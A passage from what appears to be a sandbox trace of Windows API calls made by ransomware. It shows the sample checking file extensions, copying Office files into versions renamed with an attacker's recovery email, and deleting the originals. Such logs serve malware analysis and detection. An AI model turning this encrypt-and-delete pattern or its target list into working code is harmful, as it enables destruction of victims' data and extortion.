(lpString1=".zip", lpString2=".xml") returned 1 [0085.369] lstrlenW (lpString=".rar") returned 4 [0085.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString=".bz2") returned 4 [0085.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString=".7z") returned 3 [0085.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.370] lstrlenW (lpString=".dbf") returned 4 [0085.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.370] lstrlenW (lpString=".1cd") returned 4 [0085.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.370] lstrlenW (lpString=".jpg") returned 4 [0085.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.370] lstrlenW (lpString=".doc") returned 4 [0085.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.370] lstrlenW (lpString=".docx") returned 5 [0085.370] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0085.370] lstrlenW (lpString=".pdf") returned 4 [0085.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.370] lstrlenW (lpString=".xls") returned 4 [0085.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString=".xlsx") returned 5 [0085.371] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0085.371] lstrlenW (lpString=".ppt") returned 4 [0085.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.371] lstrlenW (lpString=".zip") returned 4 [0085.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.371] lstrlenW (lpString=".rar") returned 4 [0085.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString=".bz2") returned 4 [0085.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString=".7z") returned 3 [0085.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.371] lstrlenW (lpString=".dbf") returned 4 [0085.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.371] lstrlenW (lpString=".1cd") returned 4 [0085.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.371] lstrlenW (lpString=".jpg") returned 4 [0085.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.371] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.371] lstrlenW (lpString="numbers.xml") returned 11 [0085.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.432] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=209) returned 1 [0085.432] CloseHandle (hObject=0x184) returned 1 [0085.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0085.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0085.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0085.434] lstrlenW (lpString=".doc") returned 4 [0085.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.434] lstrlenW (lpString=".docx") returned 5 [0085.434] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0085.434] lstrlenW (lpString=".pdf") returned 4 [0085.434] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.434] lstrlenW (lpString=".xls") returned 4 [0085.434] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.434] lstrlenW (lpString=".xlsx") returned 5 [0085.434] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0085.434] lstrlenW (lpString=".ppt") returned 4 [0085.434] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0085.434] lstrlenW (lpString=".zip") returned 4 [0085.434] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.434] lstrlenW (lpString=".rar") returned 4 [0085.434] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.434] lstrlenW (lpString=".bz2") returned 4 [0085.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.435] lstrlenW (lpString=".7z") returned 3 [0085.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0085.435] lstrlenW (lpString=".dbf") returned 4 [0085.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0089.054] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.054] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.124] GetLastError () returned 0x0 [0089.124] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x795, lpOverlapped=0x0) returned 1 [0089.158] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0089.160] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0089.160] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0089.160] SetEndOfFile (hFile=0x1d4) returned 1 [0089.160] CloseHandle (hObject=0x1d4) returned 1 [0089.161] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.161] SetEndOfFile (hFile=0x204) returned 1 [0089.163] CloseHandle (hObject=0x204) returned 1 [0089.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.164] lstrlenW (lpString=".doc") returned 4 [0089.164] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0089.164] lstrlenW (lpString=".docx") returned 5 [0089.164] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0089.164] lstrlenW (lpString=".pdf") returned 4 [0089.164] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0089.164] lstrlenW (lpString=".xls") returned 4 [0089.164] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0089.164] lstrlenW (lpString=".xlsx") returned 5 [0089.165] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0089.165] lstrlenW (lpString=".ppt") returned 4 [0089.165] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.165] lstrlenW (lpString=".zip") returned 4 [0089.165] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0089.165] lstrlenW (lpString=".rar") returned 4 [0089.165] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0089.165] lstrlenW (lpString=".bz2") returned 4 [0089.165] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0089.165] lstrlenW (lpString=".7z") returned 3 [0089.165] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0089.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.165] lstrlenW (lpString=".dbf") returned 4 [0089.166] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0089.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.166] lstrlenW (lpString=".1cd") returned 4 [0089.166] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0089.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.166] lstrlenW (lpString=".jpg") returned 4 [0089.166] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0089.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.166] lstrlenW (lpString=".doc") returned 4 [0089.167] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0089.167] lstrlenW (lpString=".docx") returned 5 [0089.167] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0089.167] lstrlenW (lpString=".pdf") returned 4 [0089.167] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0089.167] lstrlenW (lpString=".xls") returned 4 [0089.167] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0089.167] lstrlenW (lpString=".xlsx") returned 5 [0089.167] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0089.167] lstrlenW (lpString=".ppt") returned 4 [0089.167] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0089.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.167] lstrlenW (lpString=".zip") returned 4 [0089.167] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0089.167] lstrlenW (lpString=".rar") returned 4 [0089.167] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0089.168] lstrlenW (lpString=".bz2") returned 4 [0089.168] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0089.168] lstrlenW (lpString=".7z") returned 3 [0089.168] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0089.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.168] lstrlenW (lpString=".dbf") returned 4 [0089.168] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0089.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.168] lstrlenW (lpString=".1cd") returned 4 [0089.168] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0089.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0089.168] lstrlenW (lpString=".jpg") returned 4 [0089.168] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0089.169] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.169] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0089.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0089.169] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=913) returned 1 [0089.169] CloseHandle (hObject=0x204) returned 1 [0089.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0089.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0089.170] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.170] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0089.189] GetLastError () returned 0x0 [0089.189] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x391, lpOverlapped=0x0) returned 1 [0089.191] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0089.192] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0089.192] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xee, lpOverlapped=0x0) returned 1 [0089.193] SetEndOfFile (hFile=0x1d4) returned 1 [0089.193] CloseHandle (hObject=0x1d4) returned 1 [0089.195] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.195] SetEndOfFile (hFile=0x204) returned 1 [0089.196] CloseHandle (hObject=0x204) returned 1 [0089.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0089.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.198] lstrlenW (lpString=".doc") returned 4 [0089.198] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.198] lstrlenW (lpString=".docx") returned 5 [0089.198] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0089.198] lstrlenW (lpString=".pdf") returned 4 [0089.198] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.198] lstrlenW (lpString=".xls") returned 4 [0089.198] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.199] lstrlenW (lpString=".xlsx") returned 5 [0089.199] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0089.199] lstrlenW (lpString=".ppt") returned 4 [0089.199] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.199] lstrlenW (lpString=".zip") returned 4 [0089.199] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.199] lstrlenW (lpString=".rar") returned 4 [0089.199] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.199] lstrlenW (lpString=".bz2") returned 4 [0089.199] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.199] lstrlenW (lpString=".7z") returned 3 [0089.199] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.199] lstrlenW (lpString=".dbf") returned 4 [0089.200] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.200] lstrlenW (lpString=".1cd") returned 4 [0089.200] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.200] lstrlenW (lpString=".jpg") returned 4 [0089.200] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.200] lstrlenW (lpString=".doc") returned 4 [0089.200] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.200] lstrlenW (lpString=".docx") returned 5 [0089.200] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0089.201] lstrlenW (lpString=".pdf") returned 4 [0089.201] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.201] lstrlenW (lpString=".xls") returned 4 [0089.201] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.201] lstrlenW (lpString=".xlsx") returned 5 [0089.201] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0089.201] lstrlenW (lpString=".ppt") returned 4 [0089.201] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.201] lstrlenW (lpString=".zip") returned 4 [0089.201] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.201] lstrlenW (lpString=".rar") returned 4 [0089.201] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.201] lstrlenW (lpString=".bz2") returned 4 [0089.202] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.202] lstrlenW (lpString=".7z") returned 3 [0089.202] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.202] lstrlenW (lpString=".dbf") returned 4 [0089.202] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.202] lstrlenW (lpString=".1cd") returned 4 [0089.202] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0089.203] lstrlenW (lpString=".jpg") returned 4 [0089.203] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.203] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0089.203] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0089.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0089.204] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1231) returned 1 [0089.204] CloseHandle (hObject=0x204) returned 1 [0089.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0089.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0089.205] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.205] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0090.287] GetLastError () returned 0x0 [0090.288] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x4cf, lpOverlapped=0x0) returned 1 [0090.709] WriteFile (in: hFile=0x20c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4d0, 